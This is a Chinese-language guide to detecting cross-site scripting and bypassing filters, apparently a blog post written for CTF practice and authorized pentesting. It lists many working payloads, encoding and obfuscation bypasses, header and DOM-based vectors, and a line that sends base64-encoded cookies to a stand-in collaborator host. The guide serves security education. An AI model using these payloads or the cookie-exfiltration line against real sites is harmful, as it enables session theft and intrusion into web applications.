# [特殊字符]️ 跨站脚本攻击(XSS)检测与绕过技术指南(实战版)
原步骤优化补充1.➕ 同时测试2. 测试onclick等➕ 扩展事件类型 + 观察过滤方式(删/替/转)3.➕ 尝试<iframe><form>4. Unicode 编码➕ 改为主推HTML 实体和JS 拼接5. Burp 改包测 Header➕ 明确测试User-AgentRefererXFF📌最后提醒:XSS 的本质是“在错误的地方执行了用户控制的数据理解上下文、观察过滤行为、灵活组合 pa
·
🛡️ 跨站脚本攻击(XSS)检测与绕过技术指南(实战版)
适用场景:CTF 练习、渗透测试、漏洞挖掘
前提声明:仅限授权测试,禁止非法使用!
一、核心原则:上下文决定一切
XSS 是否成功,不取决于 payload 多么复杂,而取决于注入点所处的上下文。
务必先判断回显位置:
| 回显上下文 | 示例 | 应对策略 |
|---|---|---|
| HTML 文本内容 | <div>USER_INPUT</div> |
注入新标签:<img src=x onerror=alert(1)> |
| HTML 属性值内 | <input value="USER_INPUT"> |
闭合引号 + 注入事件:"><svg onload=alert(1)> |
| JavaScript 字符串内 | <script>var a = "USER_INPUT";</script> |
闭合字符串 + 执行代码:";alert(1);// |
| URL / href / src 属性 | <a href="USER_INPUT"> |
伪协议:javascript:alert(1) |
| CSS 内容(罕见) | <style>USER_INPUT</style> |
极难利用,通常需配合其他漏洞 |
✅ 探测技巧:输入 AAAA"'><test,观察页面结构是否被破坏,判断引号类型、是否转义、是否过滤标签。
二、标准检测流程(由浅入深)
🔹 步骤 1:基础标签测试(检测 < > 和 script 过滤)
<script>alert(1)</script>
- 若被过滤(如
<被转为<),说明有 HTML 转义。 - 同时尝试:
<img src=x onerror=alert(1)> <svg onload=alert(1)>
🔹 步骤 2:事件属性测试(检测 on* 过滤)
" onclick=alert(1)//
' onmouseover=alert(1)//
- 常用事件:
onclick,onload,onerror,onfocus,onblur,onanimationstart - 观察是否:
- 完全删除
on开头属性? - 替换关键词(如
alert→ 空)? - 转义引号?
- 完全删除
🔹 步骤 3:伪协议测试(绕过标签过滤)
<a href="javascript:alert(1)">click</a>
<iframe src="javascript:alert(1)">
<form action="javascript:alert(1)">
- 适用于
<a>,<iframe>,<form>等允许 URL 的标签。 - 注意:现代浏览器可能限制
javascript:在某些上下文中执行。
🔹 步骤 4:编码与混淆绕过
(1) HTML 实体编码(绕过关键词检测)
<a href="javascript:alert(1)">click</a>
<!-- j=106, a=97, v=118 ... -->
(2) JavaScript 字符串拼接
<script>
window['al'+'ert'](1);
Function("ale"+"rt(1)")();
eval('al\x65rt(1)');
</script>
(3) Unicode / 转义(仅在 JS 上下文有效)
// ❌ 无效(HTML 中不解析)
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
// ✅ 可能有效(在字符串内)
<script>eval('\u0061\u006c\u0065\u0072\u0074(1)')</script>
⚠️ 注意:纯 Unicode 在 HTML 标签中不会被解析为函数名,慎用!
🔹 步骤 5:无输入框?检查 HTTP 请求头!
- 使用 Burp Suite 抓包,修改以下 Header 并提交:
User-Agent: <img src=x onerror=alert(1)>Referer: javascript:alert(1)X-Forwarded-For: "><svg onload=alert(1)>
- 观察页面是否回显这些 Header 值。
三、高级绕过技巧(应对强过滤)
✅ 1. 大小写混合 & 空格混淆
<ScRiPt>alert(1)</ScRiPt>
<img/src=x onerror=alert(1)>
<svg/onload=alert(1)>
✅ 2. 无括号/无字母 Payload(极端场景)
// 无 alert 关键词
top[/al/.source+/ert/.source](1)
// 无括号
onerror=alert; throw 1
// 利用模板字符串(ES6)
alert`${1}`
✅ 3. DOM-based XSS 向量(不依赖服务端回显)
若前端 JS 使用:
document.write(location.hash);
eval(decodeURIComponent(location.search.split('=')[1]));
则可构造:
page.html#<img src=x onerror=alert(1)>
page.html?data=alert(1)
✅ 4. 利用 CSP 配置缺陷
- 若 CSP 允许
'unsafe-inline'→ 可用内联脚本 - 若允许
data:协议 →<iframe src="data:text/html,<script>alert(1)</script>"> - 若存在 JSONP 接口 → 构造回调函数执行任意 JS
四、自动化与辅助工具推荐
| 工具 | 用途 |
|---|---|
| Burp Suite + Logger++ | 自动记录所有回显点 |
| ParamSpider / Arjun | 发现隐藏参数(GET/POST/Header) |
| Dalfox | 开源 XSS 扫描器,支持多种 fuzz payload |
| XSS Polyglot | 通用 payload(如 jaVasCript:alert(1)//")可同时测试多上下文 |
五、验证建议:不要只用 alert(1)
- 某些环境会屏蔽弹窗(如 Chrome 无用户交互时)。
- 改用外带(Out-of-Band)验证:
或fetch('https://your-burp-collaborator.net/?c='+btoa(document.cookie))<img src="https://your-server.com/x?c=TEST">
六、总结:我的原始流程 + 优化版
| 原步骤 | 优化补充 |
|---|---|
1. <script>alert(1)</script> |
➕ 同时测试 <img onerror> |
2. 测试 onclick 等 |
➕ 扩展事件类型 + 观察过滤方式(删/替/转) |
3. <a href="javascript:..."> |
➕ 尝试 <iframe>, <form> |
| 4. Unicode 编码 | ➕ 改为主推 HTML 实体 和 JS 拼接 |
| 5. Burp 改包测 Header | ➕ 明确测试 User-Agent, Referer, XFF |
📌 最后提醒:XSS 的本质是“在错误的地方执行了用户控制的数据”。理解上下文、观察过滤行为、灵活组合 payload,才是成功的关键。
如需针对具体靶场(如 DVWA、PortSwigger Labs、XSS.CHALLENGE.EU)提供定制 payload,欢迎随时告知!祝你挖洞顺利 💥
更多推荐



所有评论(0)